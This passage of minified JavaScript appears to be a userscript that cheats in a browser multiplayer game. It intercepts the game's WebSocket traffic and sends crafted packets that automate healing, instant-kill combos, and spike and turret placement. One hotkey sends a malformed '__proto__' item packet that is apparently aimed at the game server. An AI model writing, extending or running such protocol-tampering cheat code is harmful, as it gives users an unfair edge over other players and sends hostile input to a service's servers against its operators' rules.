							r > 0 && (e.previousHealth = e.health), r > 0 ? e.lastDamagedDate = Date.now() : (r < -15 || 100 == n) && e.lastDamagedDate && (Date.now() - e.lastDamagedDate <= 125 ? (e.shameCount++, e.shameCount > 8 && (this.shameCount = 8)) : (e.shameCount -= 2, e.shameCount < 0 && (this.shameCount = 0)), e.lastDamagedDate = null), e.health = n, e.shameCount < 0 && (e.shameCount = 0), 45 == e.hat && (e.shameCount = 0), e.shameCount > 7 && (e.shameCount = 0), global_functions_exporter.playerList[t[1]] = e, t[1] == Ve.id && (Ve.shameCount = global_functions_exporter.playerList[t[1]].shameCount)
						}
						"h" == l && t[1] == Ve.id && Tt.push(t);
						"7" == l && It.push(t);
						"18" == l && yt.push(t)
					}(e)
				}));
				let t = new Uint8Array(e)
					, r = {}
					, l = msgpack.decode(t);
				r.data = l[1] instanceof Array ? r.data = [l[0], ...l[1]] : r.data = l, "pp" == l[0] && (Re = Date.now()), this.oldSend(e)
			};
			let Ye = !1
				, We = !1
				, ze = {
					w: !1
					, a: !1
					, s: !1
					, d: !1
				};
			window.addEventListener("keydown", function (e) {
				!1 === ze[e.key] && (ze[e.key] = !0)
			}), window.addEventListener("keyup", function (e) {
				!0 === ze[e.key] && (ze[e.key] = !1)
			});
			let Ne = 5
				, Fe = 4
				, Qe = 0
				, Ge = 0;

			function S() {
				Ge ? (document.getElementById("autoDisconnect")
					.checked && document.ws.close(), global_functions_exporter.dataPackage = `[${Ve.hitByThisTick.length}/${et}] ` + `Clown: ${(Ge-Date.now()+3e4)/1e3}`) : global_functions_exporter.dataPackage = `[${Ve.hitByThisTick.length}/${et}] ` + (0 == Ve.shameCount ? "Shame: 0" : `Shame: ${Ve.shameCount}`)
			}

			function q(e) {
				if(e.gpiha && e.gpiha[1] == Qe) return e.gpiha[0]; {
					let t = Object.values(global_functions_exporter.playerList);
					if(e.id == Ve.id) {
						let e = [];
						E.forEach(t => {
							let n = global_functions_exporter.playerList[t[0]];
							e.push(n)
						}), t = e
					}
					let n = []
						, r = {
							x: e.x + 35 * Math.cos(e.dir)
							, y: e.y + 35 * Math.sin(e.dir)
						}
						, i = e.weaponObject.range ? e.weaponObject.range + 77 : 219;
					for(let o = 0; o < t.length; o++) {
						let a = t[o];
						if(a != e && Math.hypot(a.x - r.x, a.y - r.y) <= i + (a == global_functions_exporter.playerList[Ve.id] ? 41 : 37)) {
							let t = W(r, a);
							(t <= e.dir + 1.57 && t >= e.dir - 1.57 || (e.dir >= 0 ? e.dir > 1.57 && t <= e.dir - 1.57 - 3.14 : e.dir < -1.57 && t >= 3.14 + (e.dir + 1.57))) && n.push(a)
						}
					}
					return e.gpiha = [n, Qe], n
				}
			}
			let Ke = 0;
			const Ze = e => Object.fromEntries(Object.entries(e)
				.filter(([e, t]) => null != t)
				.map(([e, t]) => "object" == typeof t ? [e, Ze(t)] : [e, t]));
			document.querySelector("#pingDisplay");
			let Je = 100
				, $e = []
				, et = 0
				, tt = 0
				, nt = !1;

			function H(e, t) {
				return Math.hypot(t.x - e.x, t.y - e.y)
			}
			let rt = !0
				, it = !0;

			function V(e) {
				ce(p, null), ce(p, null), ce(p, null), ce(p, null)
			}

			function j(e) {
				try {
					Ve.lastTickHealth - e > 0 && rt && (Ve.shameCount < 6 && Ve.hitByThisTick.some(t => {
							let n, r = global_functions_exporter.playerList[t.id]
								, i = 1;
							switch(r.pVariant) {
							case 1:
								i = 1.09;
								break;
							case 2:
							case 3:
								i = 1.18
							}
							return ((n = Math.max(Math.max(r.pCd <= 0 && null != r.primary ? r.primaryObject.damage * i + (r.turretCd <= 0 ? 25 : 0) : 0, r.pCd <= 0 && null != r.primary ? r.primaryObject.damage * i * 1.5 : 0), r.sCd <= 0 && null != r.secondary ? r.secondaryObject.damage + (r.turretCd <= 0 ? 25 : 0) : 0)) >= e || 0 == t.weapon && 7 == t.hat) && t.id != Ve.id
						}) ? (At = !0, V()) : it && Ve.shameCount < 6 && Object.values(global_functions_exporter.playerList)
						.some(t => {
							let n = !1;
							E.forEach(e => {
								e[0] == t.id && (n = !0)
							});
							let r, i = global_functions_exporter.playerList[t.id]
								, o = 1;
							switch(i.pVariant) {
							case 1:
								o = 1.09;
								break;
							case 2:
							case 3:
								o = 1.18
							}
							return r = Math.max(Math.max(i.pCd <= 0 && null != i.primary ? i.primaryObject.damage * o + (i.turretCd <= 0 ? 25 : 0) : 0, i.pCd <= 0 && null != i.primary ? i.primaryObject.damage * o * 1.5 : 0), i.sCd <= 0 && null != i.secondary ? i.secondaryObject.damage + (i.turretCd <= 0 ? 25 : 0) : 0), t.id != Ve.id && H(Ve, t) <= 300 && r >= e && n
						}) ? (At = !0, V()) : et <= 120 ? setTimeout(() => {
							ce(p, null), ce(p, null), ce(p, null), ce(p, null)
						}, 130 - et) : V())
				} catch (e) {
					console.error("heal error ", e), global_functions_exporter.playerList = {}, V()
				}
			}
			let ot = !1
				, at = !1
				, st = !0;

			function X() {
				ot = !1, at = !1;
				let e = Ve.weapon == Ve.secondary && Ve.secondaryObject && Ve.secondaryObject.range ? Ve.secondaryObject.range + 77 : Ve.primaryObject ? Ve.primaryObject.range + 77 : 219;
				if(global_functions_exporter.playerList[Ve.id].perfectMaxMeleeRange = e, st) {
					let e = !1;
					E.forEach(t => {
						let n = t[0]
							, r = global_functions_exporter.playerList[n]
							, i = o(r, W(r, Ve))
							, a = r.x + i[0] - (Ve.x + i[0])
							, s = r.y + i[1] - (Ve.y + i[1])
							, l = Math.hypot(a, s);
						global_functions_exporter.playerList[r.id].addDist = l;
						let c = r.weapon == r.secondary && r.secondaryObject.range ? r.secondaryObject.range + 77 : r.primaryObject ? r.primaryObject.range + 77 : 219;
						global_functions_exporter.playerList[r.id].perfectMaxMeleeRange = c, l <= c && (at = !0), r.pCd <= 0 && l <= c && (e = !0)
					}), e && (ot = !0)
				}
			}

			function U(e, t) {
				return Math.hypot(t.y - e.y, t.x - e.x)
			}

			function R(e, t) {
				return Math.sqrt(Math.pow(t.y - e[2], 2) + Math.pow(t.x - e[1], 2))
			}

			function Y(e, t, n) {
				return t <= e + n / 2 && t >= e - n / 2 || (e >= 0 ? e + n / 2 > 3.14 && t <= e + n / 2 - 3.14 - 3.14 : e - n / 2 < -3.14 && t >= e - n / 2 + 3.14 + 3.14)
			}

			function W(e, t) {
				return Math.atan2(t.y - e.y, t.x - e.x)
			}
			unsafeWindow.distVel = function (e) {
				let t = e ? global_functions_exporter.playerList[e] : M
					, n = t.x + t.xvel - (Ve.x + Ve.xvel)
					, r = t.y + t.yvel - (Ve.y + Ve.yvel);
				return Math.hypot(n, r)
			};
			let lt = !1
				, ct = 120;
			var z = 0
				, N = !1
				, F = null;

			function Q(e) {
				let t = "";
				t = Ve.y < 2400 ? 15 : Ve.y > 6850 && Ve.y < 7550 ? 31 : 12, e ? (k = t, C = 11) : (storeEquip(11, !0), storeEquip(t))
			}
			document.hit = function (e, t) {
				t ? ((N = !N) ? z++ : --z < 0 && (z = 0), 1 == z && N ? ae(["7", [1]]) : 0 != z || N || ae(["7", [1]])) : (e ? z++ : --z < 0 && (z = 0), 1 == z && e ? null === F ? ae(["7", [1]]) : (clearTimeout(F), F = null) : 0 != z || e || (F = setTimeout(() => {
					ae(["7", [1]]), F = null
				}, 100)))
			};
			let ut = fe(function () {
					ae(["5", [d, !0]])
				})
				, ft = fe(function () {
					ae(["5", [h, !0]])
				});
			async function G(e) {
				11 == Ve.accessory && storeEquip(0, !0), ut(!0), storeEquip(7), storeEquip(18, !0), setTimeout(async () => {
					if(document.getElementById("instaChat")
						.checked && ae(["ch", [document.getElementById("instaChatData")
							.value
						]]), document.hit(!0), document.getElementById("spikeInstaIncludedInDynamicInsta")
						.checked) {
						let e, t = 1;
						if(document.getElementById("includeWeaponVariantInSpikeInsta")
							.checked) switch(global_functions_exporter.playerList[Ve.id].pVariant) {
						case 1:
							t = 1.09;
							break;
						case 2:
						case 3:
							t = 1.18
						}
						if(e = !document.getElementById("nearestEnemyCantSurviveCheck")
							.checked || global_functions_exporter.playerList[Ve.id].primaryObject.damage * t * (6 == M.hat ? .75 : 1) >= 100, Math.sqrt(Math.pow(Ve.y - M.y, 2) + Math.pow(Ve.x - M.x, 2)) < 100 && e) {
							let e = Math.atan2(M.y - Ve.y, M.x - Ve.x);
							document.getElementById("dynInstaDoubleSpikeInsta")
								.checked ? ce(g, e) : (ce(g, e - he(45)), ce(g, e + he(45)))
						}
					}
					document.getElementById("instaTickBased")
						.checked ? await Lt(1, Qe) : await t(112.5), document.getElementById("autoTheif")
						.checked || document.getElementById("supportDynamicDaggerInsta")
						.checked && 7 == Ve.primary && 15 == Ve.secondary ? 6 == M.hat || document.getElementById("supportDynamicDaggerInsta")
						.checked && 7 == Ve.primary && 15 == Ve.secondary ? (storeEquip(53), storeEquip(21, !0)) : (storeEquip(52), storeEquip(21, !0)) : (storeEquip(53), storeEquip(21, !0)), ut(!1), ft(!0), document.getElementById("instaTickBased")
						.checked ? await Lt(1, Qe) : await t(112.5), nt = !1, document.hit(!1), ft(!1), ae(["5", [h, !0]]), storeEquip(20), Ie(!1), Ce = !1, global_functions_exporter.cursorDisable = !1, Te = !1, await oe(), Q(), await ie(), r(), e && (We = !1)
				}, 1)
			}

			function K(e) {
				Ie(!0), Ce = !0, e && (nt = !0, Te = !0, We = !0, D && 1 == document.getElementById("instKillTribe")
					.checked && ae(["9", [null]])), ae(["5", [h, !0]]), ae(["c", [1]]), storeEquip(53);
				let t = Ve.accessory
					, n = Ve.hat;
				setTimeout(function () {
					storeEquip(n), storeEquip(t, !0)
				}, ct), setTimeout(function () {
					ae(["6", [Fe]]), ae(["c", [1]]), ae(["c", [0]])
				}, 100), setTimeout(function () {
					ae(["6", [15]]), ae(["c", [1]]), setTimeout(ae(["c", [0]]), 100), setTimeout(async () => {
						nt = !1, storeEquip(20), Ie(!1), Ce = !1, global_functions_exporter.cursorDisable = !1, Te = !1, await oe(), Q(), await ie(), r(), e && (We = !1, lt = !1)
					}, 50)
				}, 200)
			}
			async function Z(n) {
				if(document.getElementById("blockInsta")
					.checked && 11 == M.weapon && q(M)
					.some(e => e.id == Ve.id) && at) return;
				let o;
				n && (Ye = !0, We = !0), nt = !0, i(), Te = !0, D && 1 == document.getElementById("instKillTribe")
					.checked && Math.sqrt(Math.pow(Ve.y - D[2], 2) + Math.pow(Ve.x - D[1], 2)) < 205 && ae(["9", [null]]), (o = u ? Math.sqrt(Math.pow(Ve.y - u[2], 2) + Math.pow(Ve.x - u[1], 2)) : 1e3) < 700 && !at && 9 == Ve.weapon ? K(n) : async function (n) {
						Ie(!0), Ce = !0, ae(["5", [d, !0]]), await Lt(1, Qe), e(document.getElementById("actionBarItem0")) && 0 == M.xvel && 0 == M.yvel ? (ae(["5", [d, !0]]), document.hit(!0), storeEquip(7), storeEquip(18, !0), await Lt(1, Qe), ae(["6", [5]]), await Lt(1, Qe), ae(["5", [h, !0]]), ae(["6", [17]]), ae(["6", [31]]), ae(["6", [23]]), ae(["6", [9]]), ae(["5", [h, !0]]), storeEquip(53), await Lt(1, Qe), ae(["6", [38]]), ae(["6", [4]]), ae(["5", [h, !0]]), ae(["6", [15]]), ae(["5", [h, !0]]), document.hit(!1), G(n)) : e(document.getElementById("actionBarItem0")) ? (ae(["5", [d, !0]]), storeEquip(7), await Lt(1, Qe), document.hit(!0), await Lt(1, Qe), ae(["6", [Ne]]), await Lt(1, Qe), ae(["6", [17]]), await t(50), ae(["6", [31]]), await t(50), ae(["6", [23]]), await t(50), ae(["6", [9]]), await Lt(1, Qe), ae(["5", [h, !0]]), storeEquip(53), await Lt(1, Qe), document.hit(!1), nt = !1, storeEquip(20), Ie(!1), Ce = !1, global_functions_exporter.cursorDisable = !1, Te = !1, await oe(), Q(), await ie(), n && (We = !1), r(), await Lt(1, Qe), ae(["6", [38]]), await Lt(1, Qe), ae(["6", [4]]), n && (We = !1)) : G(n)
					}(n)
			}
			let dt, ht, pt = !1
				, At = !1
				, gt = !1;
			setInterval(() => {
				if(Ve.shameCount > 0 && At) {
					gt = !0, 7 !== Ve.hat && (dt = Ve.hat, qe.inProcess || storeEquip(7)), 13 !== Ve.accessory && (ht = Ve.accessory, qe.inProcess || storeEquip(13, !0));
					let e = setInterval(() => {
						0 == Ve.shameCount && (qe.inProcess || storeEquip(ht, !0), qe.inProcess || storeEquip(dt), At = !1, gt = !1, clearInterval(e))
					}, 5)
				}
			}, 5);

			function J() {
				ce(g, Ve.dir + he(45)), ce(g, Ve.dir - he(45)), ce(g, Ve.dir + he(90))
			}
			var ee = [void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0, void 0];
			let mt, yt = [];

			function te(e) {
				return e + Math.PI > Math.PI ? e - Math.PI : e + Math.PI
			}
			Object.defineProperty(Array.prototype, "splitTo", {
				value: function (e) {
					let t = [];
					for(let n = 0; n < this.length; n += e) t.push(this.slice(n, n + e));
					return t
				}
			}), global_functions_exporter.setZoom({
				code: "large"
			});
			let wt = 0
				, vt = (fe(() => {
					ae(["2", [wt]])
				}), !1)
				, bt = !1
				, xt = fe(function () {
					vt || ae(["5", [d, !0]])
				})
				, Bt = fe(function () {
					bt || ae(["5", [h, !0]])
				})
				, Et = !1
				, kt = !1
				, Ct = !1;

			function ne(e, t) {
				xt(!!e), Bt(!!t), Et = !(!e && !t), kt = !!e, Ct = !!t
			}

			function re(e) {
				e ? Ve.pCd <= 0 ? ne() : ne(!0, !1) : Ve.sCd <= 0 ? ne() : ne(!1, !0)
			}
			async function ie() {
				return new Promise((e, t) => {
					re(!0);
					let n = setInterval(() => {
						global_functions_exporter.playerList[Ve.id].pCd <= 0 && (ne(), clearInterval(n), e())
					}, 50)
				})
			}
			async function oe() {
				return new Promise((e, t) => {
					re(!1);
					let n = setInterval(() => {
						global_functions_exporter.playerList[Ve.id].sCd <= 0 && (ne(), clearInterval(n), e())
					}, 50)
				})
			}
			let It = []
				, Tt = [];

			function ae(e) {
				I.send(new Uint8Array(Array.from(msgpack.encode(e))))
			}

			function se(e) {
				ae(["13c", [0, 0, 1]]), storeEquip(e, !0)
			}

			function le(e) {
				storeEquip(e)
			}
			let Mt = 1;

			function ce(e, t = Math.atan2(Be - ke / 2, xe - Ee / 2)) {
				ae(["5", [e, null]]);
				for(var n = 0; n < Mt; n++) ae(["c", [1, t]]), ae(["c", [0, t]]);
				ae(["5", [Ve.weapon, !0]])
			}

			function ue() {
				null == T && (T = f), document.getElementById("aimBoostSpikeAtPlayer")
					.checked || (T = Math.atan2(Be - ke / 2, xe - Ee / 2));
				let e = document.getElementById("BSPIKEobjectTypeSel")
					.value ? document.getElementById("BSPIKEobjectTypeSel")
					.value : "spikeType";
				switch(e) {
				case "millType":
					e = m;
					break;
				case "spikeType":
					e = g;
					break;
				case "wallType":
					e = A;
					break;
				case "mineType":
					e = y;
					break;
				case "boostType":
					e = w;
					break;
				case "turretType":
					e = v;
					break;
				case "spawnpadType":
					e = b
				}
				if(e == m) {
					let e = !0;
					for(let t = 0; t < 5; t++)
						if(e) ce(w, T), e = !1;
						else {
							let e = T + he(72 * t);
							ce(m, e)
						}
				} else ce(e, T + he(90)), ce(e, T - he(90)), ce(w, T);
				ae(["33", [T]])
			}

			function fe(e, t = 0, n) {
				return function (r) {
					r ? (clearInterval(n), n = setInterval(e, t)) : clearInterval(n)
				}
			}
			document.getElementById("cpsForMacros")
				.addEventListener("change", function () {
					Mt = Number(document.getElementById("cpsForMacros")
						.value)
				});
			const Pt = fe(() => {
					ce(p)
				})
				, Ot = fe(() => {
					document.getElementById("xv1mode")
						.checked ? ce(g, Number.MAX_VALUE) : ce(g)
				})
				, Dt = fe(() => {
					if(document.getElementById("boostQuadMode")
						.checked)
						for(let e = 0; e < 4; e++) {
							let t = Ve.dir + he(90 * e) + (document.getElementById("xv1mode")
								.checked ? Number.MAX_VALUE : 0);
							ce(w, t)
						} else ce(w)
				});
			setInterval(() => {
				document.getElementById("autoBlocker")
					.checked && !Te && (ce(v, Ve.dir + he(45)), ce(v, Ve.dir - he(45)))
			}, 500), setInterval(() => {
				if(document.getElementById("autoPits")
					.checked && !at && !Te)
					for(let e = 0; e < 4; e++) {
						let t = Ve.dir + he(90 * e);
						ce(w, t + 30)
					}
			}, 300);
			var de = !1;
			const Lt = async (e, t) => new Promise((n, r) => {
				let i = setInterval(() => {
					t + e <= Qe && (clearInterval(i), n(Qe))
				}, 1)
			});
			let _t = null
				, St = !1
				, qt = fe(() => {
					ce(m, Math.atan2(Be - ke / 2, xe - Ee / 2)), ce(m, Math.atan2(Be - ke / 2, xe - Ee / 2) - he(63.9315)), ce(m, Math.atan2(Be - ke / 2, xe - Ee / 2) + he(63.9315))
				});

			function he(e) {
				return .01745329251 * e
			}

			function pe() {
				for(let t = 0; 9 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (d = t);
				for(let t = 9; 16 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (h = t);
				for(let t = 16; 19 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (p = t - 16);
				for(let t = 19; 22 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (A = t - 16);
				for(let t = 22; 26 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (g = t - 16);
				for(let t = 26; 29 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (m = t - 16);
				for(let t = 29; 31 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (y = t - 16);
				for(let t = 31; 33 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (w = t - 16);
				for(let t = 33; 36 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (v = t - 16);
				for(let t = 36; 37 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (b = t - 16);
				for(let t = 37; 39 > t; t++) e(document.getElementById("actionBarItem" + t.toString())) && (v = t - 16)
			}

			function Ae(e) {
				ae(["ch", [e]])
			}
			document.addEventListener("keydown", async e => {
				let t = document.activeElement.id;
				if("chatBox" != t && "instaChatData" != t && "allianceInput" != t && "fixedClanCreationValue" != t && "achatEnemyVal" != t && "spikeHotkeyValue" != t && "trapHotkeyValue" != t && "healingHotkeyValue" != t && "instaHotkeyValue" != t && "tripleMillHotkeyValue" != t && "tripleTeleporterValue" != t) {
					if(e.key == document.getElementById("healingHotkeyValue")
						.value && Pt(!0), e.key == document.getElementById("trapHotkeyValue")
						.value && Dt(!0), e.key == document.getElementById("spikeHotkeyValue")
						.value && Ot(!0), "`" == e.key && (e.preventDefault(), ae(["5", ["__proto__", !0]])), "Escape" == e.key && (document.getElementById("modMenus")
							.style.display = de ? "block" : "none", de = !de), " " == e.key) {
						if(St) setTimeout(() => {
							ae(["33", [null]]), T = null
						}, 10), clearInterval(_t);
						else {
							let e = document.getElementById("BSPIKEobjectTypeSel")
								.value ? document.getElementById("BSPIKEobjectTypeSel")
								.value : "spikeType";
							_t = "millType" == e ? setInterval(() => ue(), 300) : setInterval(() => ue(), 100)
						}
						St = !St, document.getElementById("autoBoostSpikerStateMenu")
							.innerHTML = St
					}
					e.key == document.getElementById("tripleTeleporterValue")
						.value && (ce(v, Math.atan2(Be - ke / 2, xe - Ee / 2)), ce(v, Math.atan2(Be - ke / 2, xe - Ee / 2) - he(73.7399)), ce(v, Math.atan2(Be - ke / 2, xe - Ee / 2) + he(73.7399))), e.key == document.getElementById("instaHotkeyValue")
						.value && Z(), e.key == document.getElementById("tripleMillHotkeyValue")
						.value && qt(!0)
				}
			}), document.addEventListener("keyup", e => {
				let t = document.activeElement.id;
				"chatBox" != t && "instaChatData" != t && "allianceInput" != t && "fixedClanCreationValue" != t && "achatEnemyVal" != t && "spikeHotkeyValue" != t && "trapHotkeyValue" != t && "healingHotkeyValue" != t && "instaHotkeyValue" != t && "tripleMillHotkeyValue" != t && "tripleTeleporterValue" != t && (e.key == document.getElementById("healingHotkeyValue")
					.value && Pt(!1), e.key == document.getElementById("trapHotkeyValue")
					.value && Dt(!1), e.key == document.getElementById("spikeHotkeyValue")
					.value && Ot(!1), e.key == document.getElementById("tripleMillHotkeyValue")
					.value && qt(!1))
			}), setInterval(() => {
				var t = 3;
				try {
					if(e(document.getElementById("actionBarItem26"))) {
						let e;
						(e = document.createElement("div"))
						.id = "windmillCounts26", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("windmillCounts26") || document.getElementById("actionBarItem26")
							.appendChild(e), document.getElementById("windmillCounts26")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				try {
					if(e(document.getElementById("actionBarItem27"))) {
						let e;
						(e = document.createElement("div"))
						.id = "windmillCounts27", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("windmillCounts27") || document.getElementById("actionBarItem27")
							.appendChild(e), document.getElementById("windmillCounts27")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				try {
					if(e(document.getElementById("actionBarItem28"))) {
						let e;
						(e = document.createElement("div"))
						.id = "windmillCounts28", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("windmillCounts28") || document.getElementById("actionBarItem28")
							.appendChild(e), document.getElementById("windmillCounts28")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				t = 6;
				try {
					if(e(document.getElementById("actionBarItem32"))) {
						let e;
						(e = document.createElement("div"))
						.id = "boostCounts32", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("boostCounts32") || document.getElementById("actionBarItem32")
							.appendChild(e), document.getElementById("boostCounts32")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				t = 5;
				try {
					if(e(document.getElementById("actionBarItem31"))) {
						let e;
						(e = document.createElement("div"))
						.id = "trapCounts31", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("trapCounts31") || document.getElementById("actionBarItem31")
							.appendChild(e), document.getElementById("trapCounts31")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				t = 2;
				for(var n = 0; n < 4; n++) try {
					if(e(document.getElementById("actionBarItem" + (22 + n)))) {
						let e;
						(e = document.createElement("div"))
						.id = "spikeCounts" + (22 + n), e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("spikeCounts" + (22 + n)) || document.getElementById("actionBarItem" + (22 + n))
							.appendChild(e), document.getElementById("spikeCounts" + (22 + n))
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				try {
					if(e(document.getElementById("actionBarItem" + (22 + n)))) {
						let e;
						(e = document.createElement("div"))
						.id = "cookieCounts17", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("cookieCounts17") || document.getElementById("actionBarItem17")
							.appendChild(e), document.getElementById("cookieCounts17")
							.innerHTML = Math.floor(Number(document.getElementById("foodDisplay")
								.innerHTML) / 15)
					}
				} catch (e) {}
				try {
					if(e(document.getElementById("actionBarItem" + (22 + n)))) {
						let e;
						(e = document.createElement("div"))
						.id = "appleCounts16", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("appleCounts16") || document.getElementById("actionBarItem16")
							.appendChild(e), document.getElementById("appleCounts16")
							.innerHTML = Math.floor(Number(document.getElementById("foodDisplay")
								.innerHTML) / 10)
					}
				} catch (e) {}
				t = 7;
				try {
					if(e(document.getElementById("actionBarItem33"))) {
						let e;
						(e = document.createElement("div"))
						.id = "turretCounts33", e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("turretCounts33") || document.getElementById("actionBarItem33")
							.appendChild(e), document.getElementById("turretCounts33")
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
				t = 1;
				for(n = 0; n < 3; n++) try {
					if(e(document.getElementById("actionBarItem" + (19 + n)))) {
						let e;
						(e = document.createElement("div"))
						.id = "wallCounts" + (19 + n), e.style.cssText = "position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;", document.getElementById("wallCounts" + (19 + n)) || document.getElementById("actionBarItem" + (19 + n))
							.appendChild(e), document.getElementById("wallCounts" + (19 + n))
							.innerHTML = global_functions_exporter.myPlayerBundleObject.itemCounts[t] || 0
					}
				} catch (e) {}
			}, 1e3)
		}
	}, 0);